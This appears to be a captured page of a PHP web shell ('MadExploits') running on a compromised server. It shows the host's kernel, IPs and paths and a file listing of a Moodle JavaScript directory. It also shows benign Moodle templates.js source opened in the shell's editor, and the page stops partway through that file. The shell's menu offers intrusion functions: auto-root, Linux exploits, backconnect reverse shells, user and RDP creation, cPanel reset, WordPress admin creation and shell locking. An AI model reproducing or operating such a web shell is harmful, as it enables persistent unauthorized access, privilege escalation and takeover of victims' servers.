Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.22
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
emoji
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
adapter.js
190.74
KB
-rw-r--r--
addblockmodal.js
2.52
KB
-rw-r--r--
ajax.js
11.97
KB
-rw-r--r--
aria.js
1011
B
-rw-r--r--
auto_rows.js
3.46
KB
-rw-r--r--
autoscroll.js
6.49
KB
-rw-r--r--
backoff_timer.js
4.98
KB
-rw-r--r--
chart_axis.js
7.39
KB
-rw-r--r--
chart_bar.js
3.08
KB
-rw-r--r--
chart_base.js
11.36
KB
-rw-r--r--
chart_builder.js
1.65
KB
-rw-r--r--
chart_line.js
2.08
KB
-rw-r--r--
chart_output.js
1.08
KB
-rw-r--r--
chart_output_base.js
2.03
KB
-rw-r--r--
chart_output_chartjs.js
10.83
KB
-rw-r--r--
chart_output_htmltable.js
3.3
KB
-rw-r--r--
chart_pie.js
3.03
KB
-rw-r--r--
chart_series.js
8.35
KB
-rw-r--r--
chartjs-lazy.js
670.93
KB
-rw-r--r--
chartjs.js
913
B
-rw-r--r--
checkbox-toggleall.js
12.78
KB
-rw-r--r--
config.js
1002
B
-rw-r--r--
custom_interaction_events.js
22.18
KB
-rw-r--r--
dragdrop.js
12.92
KB
-rw-r--r--
drawer.js
3.49
KB
-rw-r--r--
drawer_events.js
967
B
-rw-r--r--
event.js
3.97
KB
-rw-r--r--
first.js
1.36
KB
-rw-r--r--
form-autocomplete.js
50.77
KB
-rw-r--r--
form-cohort-selector.js
2.46
KB
-rw-r--r--
form-course-selector.js
3.77
KB
-rw-r--r--
fragment.js
4.64
KB
-rw-r--r--
fullscreen.js
1.62
KB
-rw-r--r--
icon_system.js
2.56
KB
-rw-r--r--
icon_system_fontawesome.js
4.01
KB
-rw-r--r--
icon_system_standard.js
2.3
KB
-rw-r--r--
inplace_editable.js
13.29
KB
-rw-r--r--
key_codes.js
1.34
KB
-rw-r--r--
loadingicon.js
3.87
KB
-rw-r--r--
localstorage.js
2.08
KB
-rw-r--r--
log.js
1.74
KB
-rw-r--r--
loglevel.js
9.66
KB
-rw-r--r--
modal.js
28.21
KB
-rw-r--r--
modal_backdrop.js
4.46
KB
-rw-r--r--
modal_cancel.js
1.44
KB
-rw-r--r--
modal_events.js
1.27
KB
-rw-r--r--
modal_factory.js
8.65
KB
-rw-r--r--
modal_registry.js
2.38
KB
-rw-r--r--
modal_save_cancel.js
2.16
KB
-rw-r--r--
mustache.js
26.69
KB
-rw-r--r--
network.js
8.02
KB
-rw-r--r--
normalise.js
1.6
KB
-rw-r--r--
notification.js
8.86
KB
-rw-r--r--
page_global.js
5.38
KB
-rw-r--r--
paged_content.js
2.87
KB
-rw-r--r--
paged_content_events.js
1.17
KB
-rw-r--r--
paged_content_factory.js
20.68
KB
-rw-r--r--
paged_content_pages.js
11.75
KB
-rw-r--r--
paged_content_paging_bar.js
20.34
KB
-rw-r--r--
paged_content_paging_bar_limit...
2.36
KB
-rw-r--r--
paged_content_paging_dropdown....
7.36
KB
-rw-r--r--
pending.js
1.57
KB
-rw-r--r--
permissionmanager.js
9.77
KB
-rw-r--r--
popover_region_controller.js
12.52
KB
-rw-r--r--
popper.js
79.2
KB
-rw-r--r--
prefetch.js
5.85
KB
-rw-r--r--
pubsub.js
2.17
KB
-rw-r--r--
sessionstorage.js
2.22
KB
-rw-r--r--
showhidesettings.js
11.82
KB
-rw-r--r--
sortable_list.js
29.51
KB
-rw-r--r--
storagewrapper.js
5.15
KB
-rw-r--r--
str.js
7.84
KB
-rw-r--r--
tag.js
19.77
KB
-rw-r--r--
templates.js
49.66
KB
-rw-r--r--
toast.js
3.05
KB
-rw-r--r--
tooltip.js
4.09
KB
-rw-r--r--
tree.js
18.12
KB
-rw-r--r--
truncate.js
6.56
KB
-rw-r--r--
url.js
3.65
KB
-rw-r--r--
user_date.js
9.32
KB
-rw-r--r--
userfeedback.js
2.91
KB
-rw-r--r--
utils.js
2.73
KB
-rw-r--r--
yui.js
1.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : templates.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Template renderer for Moodle. Load and render Moodle templates with Mustache. * * @module core/templates * @copyright 2015 Damyon Wiese <damyon@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @since 2.9 */ define([ 'core/mustache', 'jquery', 'core/ajax', 'core/str', 'core/notification', 'core/url', 'core/config', 'core/localstorage', 'core/icon_system', 'core/event', 'core/yui', 'core/log', 'core/truncate', 'core/user_date', 'core/pending', ], function(mustache, $, ajax, str, notification, coreurl, config, storage, IconSystem, event, Y, Log, Truncate, UserDate, Pending) { // Module variables. /** @var {Number} uniqInstances Count of times this constructor has been called. */ var uniqInstances = 0; /** @var {String[]} templateCache - Cache of already loaded template strings */ var templateCache = {}; /** @var {Promise[]} templatePromises - Cache of already loaded template promises */ var templatePromises = {}; /** @var {Promise[]} cachePartialPromises - Cache of already loaded template partial promises */ var cachePartialPromises = {}; /** @var {Object} iconSystem - Object extending core/iconsystem */ var iconSystem = {}; /** @var {Object[]} loadTemplateBuffer - List of templates to be loaded */ var loadTemplateBuffer = []; /** @var {Bool} isLoadingTemplates - Whether templates are currently being loaded */ var isLoadingTemplates = false; /** @var {Array} disallowedNestedHelpers - List of helpers that can't be called within other helpers */ var disallowedNestedHelpers = ['js']; /** * Normalise the provided component such that '', 'moodle', and 'core' are treated consistently. * * @param {String} component * @returns {String} */ var getNormalisedComponent = function(component) { if (component) { if (component !== 'moodle' && component !== 'core') { return component; } } return 'core'; }; /** * Search the various caches for a template promise for the given search key. * The search key should be in the format <theme>/<component>/<template> e.g. boost/core/modal. * * If the template is found in any of the caches it will populate the other caches with * the same data as well. * * @param {String} searchKey The template search key in the format <theme>/<component>/<template> e.g. boost/core/modal * @return {Object} jQuery promise resolved with the template source */ var getTemplatePromiseFromCache = function(searchKey) { // First try the cache of promises. if (searchKey in templatePromises) { return templatePromises[searchKey]; } // Check the module cache. if (searchKey in templateCache) { // Add this to the promises cache for future. templatePromises[searchKey] = $.Deferred().resolve(templateCache[searchKey]).promise(); return templatePromises[searchKey]; } if (M.cfg.templaterev <= 0) { // Template caching is disabled. Do not store in persistent storage. return null; } // Now try local storage. var cached = storage.get('core_template/' + M.cfg.templaterev + ':' + searchKey); if (cached) { // Add this to the module cache for future. templateCache[searchKey] = cached; // Add this to the promises cache for future. templatePromises[searchKey] = $.Deferred().resolve(cached).promise(); return templatePromises[searchKey]; } return null; }; /** * Take all of the templates waiting in the buffer and load them from the server * or from the cache. * * All of the templates that need to be loaded from the server will be batched up * and sent in a single network request. */ var processLoadTemplateBuffer = function() { if (!loadTemplateBuffer.length) { return; } if (isLoadingTemplates) { return; } isLoadingTemplates = true; // Grab any templates waiting in the buffer. var templatesToLoad = loadTemplateBuffer.slice(); // This will be resolved with the list of promises for the server request. var serverRequestsDeferred = $.Deferred(); var requests = []; // Get a list of promises for each of the templates we need to load. var templatePromises = templatesToLoad.map(function(templateData) { var component = getNormalisedComponent(templateData.component); var name = templateData.name; var searchKey = templateData.searchKey; var theme = templateData.theme; var templateDeferred = templateData.deferred; var promise = null; // Double check to see if this template happened to have landed in the // cache as a dependency of an earlier template. var cachedPromise = getTemplatePromiseFromCache(searchKey); if (cachedPromise) { // We've seen this template so immediately resolve the existing promise. promise = cachedPromise; } else { // We haven't seen this template yet so we need to request it from // the server. requests.push({ methodname: 'core_output_load_template_with_dependencies', args: { component: component, template: name, themename: theme, lang: $('html').attr('lang').replace(/-/g, '_') } }); // Remember the index in the requests list for this template so that // we can get the appropriate promise back. var index = requests.length - 1; // The server deferred will be resolved with a list of all of the promises // that were sent in the order that they were added to the requests array. promise = serverRequestsDeferred.promise() .then(function(promises) { // The promise for this template will be the one that matches the index // for it's entry in the requests array. // // Make sure the promise is added to the promises cache for this template // search key so that we don't request it again. templatePromises[searchKey] = promises[index].then(function(response) { var templateSource = null; // Process all of the template dependencies for this template and add // them to the caches so that we don't request them again later. response.templates.forEach(function(data) { data.component = getNormalisedComponent(data.component); // Generate the search key for this template in the response so that we // can add it to the caches. var tempSearchKey = [theme, data.component, data.name].join('/'); // Cache all of the dependent templates because we'll need them to render // the requested template. templateCache[tempSearchKey] = data.value; if (M.cfg.templaterev > 0) { // The template cache is enabled - set the value there. storage.set('core_template/' + M.cfg.templaterev + ':' + tempSearchKey, data.value); } if (data.component == component && data.name == name) { // This is the original template that was requested so remember it to return. templateSource = data.value; } }); if (response.strings.length) { // If we have strings that the template needs then warm the string cache // with them now so that we don't need to re-fetch them. str.cache_strings(response.strings.map(function(data) { return { component: getNormalisedComponent(data.component), key: data.name, value: data.value }; })); } // Return the original template source that the user requested. return templateSource; }); return templatePromises[searchKey]; }); } return promise .then(function(source) { // When we've successfully loaded the template then resolve the deferred // in the buffer so that all of the calling code can proceed. return templateDeferred.resolve(source); }) .catch(function(error) { // If there was an error loading the template then reject the deferred // in the buffer so that all of the calling code can proceed. templateDeferred.reject(error); // Rethrow for anyone else listening. throw error; }); }); if (requests.length) { // We have requests to send so resolve the deferred with the promises. serverRequestsDeferred.resolve(ajax.call(requests, true, false, false, 0, M.cfg.templaterev)); } else { // Nothing to load so we can resolve our deferred. serverRequestsDeferred.resolve(); } // Once we've finished loading all of the templates then recurse to process // any templates that may have been added to the buffer in the time that we // were fetching. $.when.apply(null, templatePromises) .then(function() { // Remove the templates we've loaded from the buffer. loadTemplateBuffer.splice(0, templatesToLoad.length); isLoadingTemplates = false; processLoadTemplateBuffer(); return; }) .catch(function() { // Remove the templates we've loaded from the buffer. loadTemplateBuffer.splice(0, templatesToLoad.length); isLoadingTemplates = false; processLoadTemplateBuffer(); }); }; /** * Constructor * * Each call to templates.render gets it's own instance of this class. */ var Renderer = function() { this.requiredStrings = []; this.requiredJS = []; this.requiredDates = []; this.currentThemeName = ''; }; // Class variables and functions. /** @var {string[]} requiredStrings - Collection of strings found during the rendering of one template */ Renderer.prototype.requiredStrings = null; /** @var {object[]} requiredDates - Collection of dates found during the rendering of one template */ Renderer.prototype.requiredDates = []; /** @var {string[]} requiredJS - Collection of js blocks found during the rendering of one template */ Renderer.prototype.requiredJS = null; /** @var {String} themeName for the current render */ Renderer.prototype.currentThemeName = ''; /** * Load a template. * * @method getTemplate * @private * @param {string} templateName - should consist of the component and the name of the template like this: * core/menu (lib/templates/menu.mustache) or * tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache) * @return {Promise} JQuery promise object resolved when the template has been fetched. */ Renderer.prototype.getTemplate = function(templateName) { var currentTheme = this.currentThemeName; var searchKey = currentTheme + '/' + templateName; // If we haven't already seen this template then buffer it. var cachedPromise = getTemplatePromiseFromCache(searchKey); if (cachedPromise) { return cachedPromise; } // Check the buffer to see if this template has already been added. var existingBufferRecords = loadTemplateBuffer.filter(function(record) { return record.searchKey == searchKey; }); if (existingBufferRecords.length) { // This template is already in the buffer so just return the existing // promise. No need to add it to the buffer again. return existingBufferRecords[0].deferred.promise(); } // This is the first time this has been requested so let's add it to the buffer // to be loaded. var parts = templateName.split('/'); var component = getNormalisedComponent(parts.shift()); var name = parts.join('/'); var deferred = $.Deferred(); // Add this template to the buffer to be loaded. loadTemplateBuffer.push({ component: component, name: name, theme: currentTheme, searchKey: searchKey, deferred: deferred }); // We know there is at least one thing in the buffer so kick off a processing run. processLoadTemplateBuffer(); return deferred.promise(); }; /** * Prefetch a set of templates without rendering them. * * @param {Array} templateNames The list of templates to fetch * @param {String} currentTheme */ Renderer.prototype.prefetchTemplates = function(templateNames, currentTheme) { templateNames.forEach(function(templateName) { var searchKey = currentTheme + '/' + templateName; // If we haven't already seen this template then buffer it. if (getTemplatePromiseFromCache(searchKey)) { return; } // Check the buffer to see if this template has already been added. var existingBufferRecords = loadTemplateBuffer.filter(function(record) { return record.searchKey == searchKey; }); if (existingBufferRecords.length) { // This template is already in the buffer so just return the existing promise. // No need to add it to the buffer again. return; } // This is the first time this has been requested so let's add it to the buffer to be loaded. var parts = templateName.split('/'); var component = getNormalisedComponent(parts.shift()); var name = parts.join('/'); // Add this template to the buffer to be loaded. loadTemplateBuffer.push({ component: component, name: name, theme: currentTheme, searchKey: searchKey, deferred: $.Deferred(), }); }); processLoadTemplateBuffer(); }; /** * Load a partial from the cache or ajax. * * @method partialHelper * @private * @param {string} name The partial name to load. * @return {string} */ Renderer.prototype.partialHelper = function(name) { var searchKey = this.currentThemeName + '/' + name; if (!(searchKey in templateCache)) { notification.exception(new Error('Failed to pre-fetch the template: ' + name)); } return templateCache[searchKey]; }; /** * Render a single image icon. * * @method renderIcon * @private * @param {string} key The icon key. * @param {string} component The component name. * @param {string} title The icon title * @return {Promise} */ Renderer.prototype.renderIcon = function(key, component, title) { // Preload the module to do the icon rendering based on the theme iconsystem. var modulename = config.iconsystemmodule; component = getNormalisedComponent(component); // RequireJS does not return a promise. var ready = $.Deferred(); require([modulename], function(System) { var system = new System(); if (!(system instanceof IconSystem)) { ready.reject('Invalid icon system specified' + config.iconsystemmodule); } else { iconSystem = system; system.init().then(ready.resolve).catch(notification.exception); } }); return ready.then(function(iconSystem) { return this.getTemplate(iconSystem.getTemplateName()); }.bind(this)).then(function(template) { return iconSystem.renderIcon( key, component, title, template ); }); }; /** * Render image icons. * * @method pixHelper * @private * @param {object} context The mustache context * @param {string} sectionText The text to parse arguments from. * @param {function} helper Used to render the alt attribute of the text. * @return {string} */ Renderer.prototype.pixHelper = function(context, sectionText, helper) { var parts = sectionText.split(','); var key = ''; var component = ''; var text = ''; if (parts.length > 0) { key = helper(parts.shift().trim(), context); } if (parts.length > 0) { component = helper(parts.shift().trim(), context); } if (parts.length > 0) { text = helper(parts.join(',').trim(), context); } var templateName = iconSystem.getTemplateName(); var searchKey = this.currentThemeName + '/' + templateName; var template = templateCache[searchKey]; component = getNormalisedComponent(component); // The key might have been escaped by the JS Mustache engine which // converts forward slashes to HTML entities. Let us undo that here. key = key.replace(///gi, '/'); return iconSystem.renderIcon( key, component, text, template ); }; /** * Render blocks of javascript and save them in an array. * * @method jsHelper * @private * @param {object} context The current mustache context. * @param {string} sectionText The text to save as a js block. * @param {function} helper Used to render the block. * @return {string} */ Renderer.prototype.jsHelper = function(context, sectionText, helper) { this.requiredJS.push(helper(sectionText, context)); return ''; }; /** * String helper used to render {{#str}}abd component { a : 'fish'}{{/str}} * into a get_string call. * * @method stringHelper * @private * @param {object} context The current mustache context. * @param {string} sectionText The text to parse the arguments from. * @param {function} helper Used to render subsections of the text. * @return {string} */ Renderer.prototype.stringHelper = function(context, sectionText, helper) { var parts = sectionText.split(','); var key = ''; var component = ''; var param = ''; if (parts.length > 0) { key = parts.shift().trim(); } if (parts.length > 0) { component = parts.shift().trim(); } if (parts.length > 0) { param = parts.join(',').trim(); } component = getNormalisedComponent(component); if (param !== '') { // Allow variable expansion in the param part only. param = helper(param, context); } // Allow json formatted $a arguments. if ((param.indexOf('{') === 0) && (param.indexOf('{{') !== 0)) { param = JSON.parse(param); } var index = this.requiredStrings.length; this.requiredStrings.push({ key: key, component: component, param: param }); // The placeholder must not use {{}} as those can be misinterpreted by the engine. return '[[_s' + index + ']]'; }; /** * Quote helper used to wrap content in quotes, and escape all quotes present in the content. * * @method quoteHelper * @private * @param {object} context The current mustache context. * @param {string} sectionText The text to parse the arguments from. * @param {function} helper Used to render subsections of the text. * @return {string} */ Renderer.prototype.quoteHelper = function(context, sectionText, helper) { var content = helper(sectionText.trim(), context); // Escape the {{ and the ". // This involves wrapping {{, and }} in change delimeter tags. content = content .replace(/"/g, '\\"') .replace(/\t/g, '	') .replace(/([{}]{2,3})/g, '{{=<% %>=}}$1<%={{ }}=%>') .replace(/(\r\n|\r|\n)/g, '
') ; return '"' + content + '"'; }; /** * Shorten text helper to truncate text and append a trailing ellipsis. * * @method shortenTextHelper * @private * @param {object} context The current mustache context. * @param {string} sectionText The text to parse the arguments from. * @param {function} helper Used to render subsections of the text. * @return {string} */ Renderer.prototype.shortenTextHelper = function(context, sectionText, helper) { // Non-greedy split on comma to grab section text into the length and // text parts. var regex = /(.*?),(.*)/; var parts = sectionText.match(regex); // The length is the part matched in the first set of parethesis. var length = parts[1].trim(); // The length is the part matched in the second set of parethesis. var text = parts[2].trim(); var content = helper(text, context); return Truncate.truncate(content, { length: length, words: true, ellipsis: '...' }); }; /** * User date helper to render user dates from timestamps. * * @method userDateHelper * @private * @param {object} context The current mustache context. * @param {string} sectionText The text to parse the arguments from. * @param {function} helper Used to render subsections of the text. * @return {string} */ Renderer.prototype.userDateHelper = function(context, sectionText, helper) { // Non-greedy split on comma to grab the timestamp and format. var regex = /(.*?),(.*)/; var parts = sectionText.match(regex); var timestamp = helper(parts[1].trim(), context); var format = helper(parts[2].trim(), context); var index = this.requiredDates.length; this.requiredDates.push({ timestamp: timestamp, format: format }); return '[[_t_' + index + ']]'; }; /** * Return a helper function to be added to the context for rendering the a * template. * * This will parse the provided text before giving it to the helper function * in order to remove any disallowed nested helpers to prevent one helper * from calling another. * * In particular to prevent the JS helper from being called from within another * helper because it can lead to security issues when the JS portion is user * provided. * * @param {function} helperFunction The helper function to add * @param {object} context The template context for the helper function * @return {Function} To be set in the context */ Renderer.prototype.addHelperFunction = function(helperFunction, context) { return function() { return function(sectionText, helper) { // Override the disallowed helpers in the template context with // a function that returns an empty string for use when executing // other helpers. This is to prevent these helpers from being // executed as part of the rendering of another helper in order to // prevent any potential security issues. var originalHelpers = disallowedNestedHelpers.reduce(function(carry, name) { if (context.hasOwnProperty(name)) { carry[name] = context[name]; } return carry; }, {}); disallowedNestedHelpers.forEach(function(helperName) { context[helperName] = function() { return ''; }; }); // Execute the helper with the modified context that doesn't include // the disallowed nested helpers. This prevents the disallowed // helpers from being called from within other helpers. var result = helperFunction.apply(this, [context, sectionText, helper]); // Restore the original helper implementation in the context so that // any further rendering has access to them again. for (var name in originalHelpers) { context[name] = originalHelpers[name]; } return result; }.bind(this); }.bind(this); }; /** * Add some common helper functions to all context objects passed to templates. * These helpers match exactly the helpers available in php. * * @method addHelpers * @private * @param {Object} context Simple types used as the context for the template. * @param {String} themeName We set this multiple times, because there are async calls. */ Renderer.prototype.addHelpers = function(context, themeName) { this.currentThemeName = themeName; this.requiredStrings = []; this.requiredJS = []; context.uniqid = (uniqInstances++); context.str = this.addHelperFunction(this.stringHelper, context); context.pix = this.addHelperFunction(this.pixHelper, context); context.js = this.addHelperFunction(this.jsHelper, context); context.quote = this.addHelperFunction(this.quoteHelper, context); context.shortentext = this.addHelperFunction(this.shortenTextHelper, context); context.userdate = this.addHelperFunction(this.userDateHelper, context); context.globals = {config: config}; context.currentTheme = themeName; }; /** * Get all the JS blocks from the last rendered template. * * @method getJS * @private * @return {string} */ Renderer.prototype.getJS = function() { var js = ''; if (this.requiredJS.length > 0) { js = this.requiredJS.join(";\n"); } return js; }; /** * Treat strings in content. * * The purpose of this method is to replace the placeholders found in a string * with the their respective translated strings. * * Previously we were relying on String.replace() but the complexity increased with * the numbers of strings to replace. Now we manually walk the string and stop at each * placeholder we find, only then we replace it. Most of the time we will * replace all the placeholders in a single run, at times we will need a few * more runs when placeholders are replaced with strings that contain placeholders * themselves. * * @param {String} content The content in which string placeholders are to be found. * @param {Array} strings The strings to replace with. * @return {String} The treated content. */ Renderer.prototype.treatStringsInContent = function(content, strings) { var pattern = /\[\[_s\d+\]\]/, treated, index, strIndex, walker, char, strFinal; do { treated = ''; index = content.search(pattern); while (index > -1) { // Copy the part prior to the placeholder to the treated string. treated += content.substring(0, index); content = content.substr(index); strIndex = ''; walker = 4; // 4 is the length of '[[_s'. // Walk the characters to manually extract the index of the string from the placeholder. char = content.substr(walker, 1); do { strIndex += char; walker++; char = content.substr(walker, 1); } while (char != ']'); // Get the string, add it to the treated result, and remove the placeholder from the content to treat. strFinal = strings[parseInt(strIndex, 10)]; if (typeof strFinal === 'undefined') { Log.debug('Could not find string for pattern [[_s' + strIndex + ']].'); strFinal = ''; } treated += strFinal; content = content.substr(6 + strIndex.length); // 6 is the length of the placeholder without the index: '[[_s]]'. // Find the next placeholder. index = content.search(pattern); } // The content becomes the treated part with the rest of the content. content = treated + content; // Check if we need to walk the content again, in case strings contained placeholders. index = content.search(pattern); } while (index > -1); return content; }; /** * Treat strings in content. * * The purpose of this method is to replace the date placeholders found in the * content with the their respective translated dates. * * @param {String} content The content in which string placeholders are to be found. * @param {Array} dates The dates to replace with. * @return {String} The treated content. */ Renderer.prototype.treatDatesInContent = function(content, dates) { dates.forEach(function(date, index) { var key = '\\[\\[_t_' + index + '\\]\\]'; var re = new RegExp(key, 'g'); content = content.replace(re, date); }); return content; }; /** * Render a template and then call the callback with the result. * * @method doRender * @private * @param {string} templateSource The mustache template to render. * @param {Object} context Simple types used as the context for the template. * @param {String} themeName Name of the current theme. * @return {Promise} object */ Renderer.prototype.doRender = function(templateSource, context, themeName) { this.currentThemeName = themeName; var iconTemplate = iconSystem.getTemplateName(); var pendingPromise = new Pending('core/templates:doRender'); return this.getTemplate(iconTemplate).then(function() { this.addHelpers(context, themeName); var result = mustache.render(templateSource, context, this.partialHelper.bind(this)); return $.Deferred().resolve(result.trim(), this.getJS()).promise(); }.bind(this)) .then(function(html, js) { if (this.requiredStrings.length > 0) { return str.get_strings(this.requiredStrings).then(function(strings) { // Make sure string substitutions are done for the userdate // values as well. this.requiredDates = this.requiredDates.map(function(date) { return { timestamp: this.treatStringsInContent(date.timestamp, strings), format: this.treatStringsInContent(date.format, strings) }; }.bind(this)); // Why do we not do another call the render here? // // Because that would expose DOS holes. E.g. // I create an assignment called "{{fish" which // would get inserted in the template in the first pass // and cause the template to die on the second pass (unbalanced). html = this.treatStringsInContent(html, strings); js = this.treatStringsInContent(js, strings); return $.Deferred().resolve(html, js).promise(); }.bind(this)); } return $.Deferred().resolve(html, js).promise(); }.bind(this)) .then(function(html, js) { // This has to happen after the strings replacement because you can // use the string helper in content for the user date helper. if (this.requiredDates.length > 0) { return UserDate.get(this.requiredDates).then(function(dates) { html = this.treatDatesInContent(html, dates); js = this.treatDatesInContent(js, dates); return $.Deferred().resolve(html, js).promise(); }.bind(this)); } return $.Deferred().resolve(html, js).promise(); }.bind(this)) .then(function(html, js) { pendingPromise.resolve(); return $.Deferred().resolve(html, js).promise(); }); }; /** * Execute a block of JS returned from a template. * Call this AFTER adding the template HTML into the DOM so the nodes can be found. * * @method runTemplateJS * @param {string} source - A block of javascript. */ var runTemplateJS = function(source) { if (source.trim() !== '') { var newscript = $('<script>').attr('type', 'text/javascript').html(source); $('head').append(newscript); } }; /** * Do some DOM replacement and trigger correct events and fire javascript. * * @method domReplace * @private * @param {JQuery} element - Element or selector to replace. * @param {String} newHTML - HTML to insert / replace. * @param {String} newJS - Javascript to run after the insertion. * @param {Boolean} replaceChildNodes - Replace only the childnodes, alternative is to replace the entire node. * @return {Array} The list of new DOM Nodes */ var domReplace = function(element, newHTML, newJS, replaceChildNodes) { var replaceNode = $(element); if (replaceNode.length) { // First create the dom nodes so we have a reference to them. var newNodes = $(newHTML); var yuiNodes = null; // Do the replacement in the page. if (replaceChildNodes) { // Cleanup any YUI event listeners attached to any of these nodes. yuiNodes = new Y.NodeList(replaceNode.children().get()); yuiNodes.destroy(true); // JQuery will cleanup after itself. replaceNode.empty(); replaceNode.append(newNodes); } else { // Cleanup any YUI event listeners attached to any of these nodes. yuiNodes = new Y.NodeList(replaceNode.get()); yuiNodes.destroy(true); // JQuery will cleanup after itself. replaceNode.replaceWith(newNodes); } // Run any javascript associated with the new HTML. runTemplateJS(newJS); // Notify all filters about the new content. event.notifyFilterContentUpdated(newNodes); return newNodes.get(); } return []; }; /** * Scan a template source for partial tags and return a list of the found partials. * * @method scanForPartials * @private * @param {string} templateSource - source template to scan. * @return {Array} List of partials. */ Renderer.prototype.scanForPartials = function(templateSource) { var tokens = mustache.parse(templateSource), partials = []; var findPartial = function(tokens, partials) { var i, token; for (i = 0; i < tokens.length; i++) { token = tokens[i]; if (token[0] == '>' || token[0] == '<') { partials.push(token[1]); } if (token.length > 4) { findPartial(token[4], partials); } } }; findPartial(tokens, partials); return partials; }; /** * Load a template and scan it for partials. Recursively fetch the partials. * * @method cachePartials * @private * @param {string} templateName - should consist of the component and the name of the template like this: * core/menu (lib/templates/menu.mustache) or * tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache) * @param {Array} parentage - A list of requested partials in this render chain. * @return {Promise} JQuery promise object resolved when all partials are in the cache. */ Renderer.prototype.cachePartials = function(templateName, parentage) { var searchKey = this.currentThemeName + '/' + templateName; if (searchKey in cachePartialPromises) { return cachePartialPromises[searchKey]; } // This promise will not be resolved until all child partials are also resolved and ready. // We create it here to allow us to check for recursive inclusion of templates. // Keep track of the requested partials in this chain. parentage = parentage || [searchKey]; cachePartialPromises[searchKey] = $.Deferred(); this.getTemplate(templateName) .then(function(templateSource) { var partials = this.scanForPartials(templateSource); var uniquePartials = partials.filter(function(partialName) { // Check for recursion. if (parentage.indexOf(this.currentThemeName + '/' + partialName) >= 0) { // Ignore templates which include a parent template already requested in the current chain. return false; } // Ignore templates that include themselves. return partialName != templateName; }.bind(this)); // Fetch any partial which has not already been fetched. var fetchThemAll = uniquePartials.map(function(partialName) { parentage.push(this.currentThemeName + '/' + partialName); return this.cachePartials(partialName, parentage); }.bind(this)); // Resolve the templateName promise when all of the children are resolved. return $.when.apply($, fetchThemAll) .then(function() { return cachePartialPromises[searchKey].resolve(templateSource); }); }.bind(this)) .catch(cachePartialPromises[searchKey].reject); return cachePartialPromises[searchKey]; }; /** * Load a template and call doRender on it. * * @method render * @private * @param {string} templateName - should consist of the component and the name of the template like this: * core/menu (lib/templates/menu.mustache) or * tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache) * @param {Object} context - Could be array, string or simple value for the context of the template. * @param {string} themeName - Name of the current theme. * @return {Promise} JQuery promise object resolved when the template has been rendered. */ Renderer.prototype.render = function(templateName, context, themeName) { if (typeof (themeName) === "undefined") { // System context by default. themeName = config.theme; } this.currentThemeName = themeName; // Preload the module to do the icon rendering based on the theme iconsystem. var modulename = config.iconsystemmodule; var ready = $.Deferred(); require([modulename], function(System) { var system = new System(); if (!(system instanceof IconSystem)) { ready.reject('Invalid icon system specified' + config.iconsystem); } else { iconSystem = system; system.init().then(ready.resolve).catch(notification.exception); } }); return ready.then(function() { return this.cachePartials(templateName); }.bind(this)).then(function(templateSource) { return this.doRender(templateSource, context, themeName); }.bind(this)); }; /** * Prepend some HTML to a node and trigger events and fire javascript. * * @method domPrepend * @private * @param {jQuery|String} element - Element or selector to prepend HTML to * @param {String} html - HTML to prepend * @param {String} js - Javascript to run after we prepend the html * @return {Array} The list of new DOM Nodes */ var domPrepend = function(element, html, js) { var node = $(element); if (node.length) { // Prepend the html. var newContent = $(html); node.prepend(newContent); // Run any javascript associated with the new HTML. runTemplateJS(js); // Notify all filters about the new content. event.notifyFilterContentUpdated(node); return newContent.get(); } return []; }; /** * Append some HTML to a node and trigger events and fire javascript. * * @method domAppend * @private * @param {jQuery|String} element - Element or selector to append HTML to * @param {String} html - HTML to append * @param {String} js - Javascript to run after we append the html * @return {Array} The list of new DOM Nodes */ var domAppend = function(element, html, js) { var node = $(element); if (node.length) { // Append the html. var newContent = $(html); node.append(newContent); // Run any javascript associated with the new HTML. runTemplateJS(js); // Notify all filters about the new content. event.notifyFilterContentUpdated(node); return newContent.get(); } return []; }; return /** @alias module:core/templates */ { // Public variables and functions. /** * Every call to render creates a new instance of the class and calls render on it. This * means each render call has it's own class variables. * * @method render * @private * @param {string} templateName - should consist of the component and the name of the template like this: * core/menu (lib/templates/menu.mustache) or * tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache) * @param {Object} context - Could be array, string or simple value for the context of the template. * @param {string} themeName - Name of the current theme. * @return {Promise} JQuery promise object resolved when the template has been rendered. */ render: function(templateName, context, themeName) { var renderer = new Renderer(); return renderer.render(templateName, context, themeName); }, /** * Prefetch a set of templates without rendering them. * * @method getTemplate * @param {Array} templateNames The list of templates to fetch * @param {String} themeName * @returns {Promise} */ prefetchTemplates: function(templateNames, themeName) { var renderer = new Renderer(); if (typeof themeName === "undefined") { // System context by default. themeName = config.theme; } return renderer.prefetchTemplates(templateNames, themeName); }, /** * Every call to render creates a new instance of the class and calls render on it. This * means each render call has it's own class variables. * * This alernate to the standard .render() function returns the html and js in a single object suitable for a * native Promise. * * @method renderForPromise * @private * @param {string} templateName - should consist of the component and the name of the template like this: * core/menu (lib/templates/menu.mustache) or * tool_bananas/yellow (admin/tool/bananas/templates/yellow.mustache) * @param {Object} context - Could be array, string or simple value for the context of the template. * @param {string} themeName - Name of the current theme. * @return {Promise} JQuery promise object resolved when the template has been 